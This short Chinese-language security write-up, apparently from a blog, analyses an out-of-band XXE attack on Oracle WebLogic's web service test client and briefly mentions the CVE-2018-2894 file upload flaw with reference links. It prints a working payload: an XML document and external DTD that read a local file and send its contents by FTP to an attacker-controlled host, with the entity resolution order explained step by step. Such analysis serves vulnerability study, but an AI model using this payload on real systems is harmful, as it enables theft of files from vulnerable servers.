通过ftp通道将数据传出来。上传1.xml
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.128:1234/ext.dtd"><!ENTITY % bbb SYSTEM "file:///E:///1.txt">%aaa;%ccc;%ddd;]>
ext.dtd内容如下
<!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://fakeuser:@192.168.172.128:2121/%bbb;'>">
看下获取数据流程:
1.xml执行顺序%aaa 获取服务器上的ext.dtd,%bbb获取敏感数据,%ccc赋值为<!ENTITY % ddd SYSTEM 'ftp://fakeuser:@192.168.172.128:2121/%bbb;'>
通过ddd将获取到敏感的数据通过ftp传到服务器的2121端口。
跟一下锁定到com.oracle.webservices.testclient.ws.res.WebserviceResource这个类处理请求,跟进101行。
来到这里将1.xml传进去。
细节就不跟了,就是对xml解析,最后产出异常来到catch语句这里,将数据打印出来
通过ftp通道将数据带出来这点是学习到了。
CVE-2018-2894
文件上传直接参加这篇文章链接吧,https://xz.aliyun.com/t/2458,给出文件上传截图
更改目录截图
参考这个链接:
https://github.com/hackping/XXEpayload/tree/master/xxe
https://paper.tuisec.win/detail/ff8a70e510be571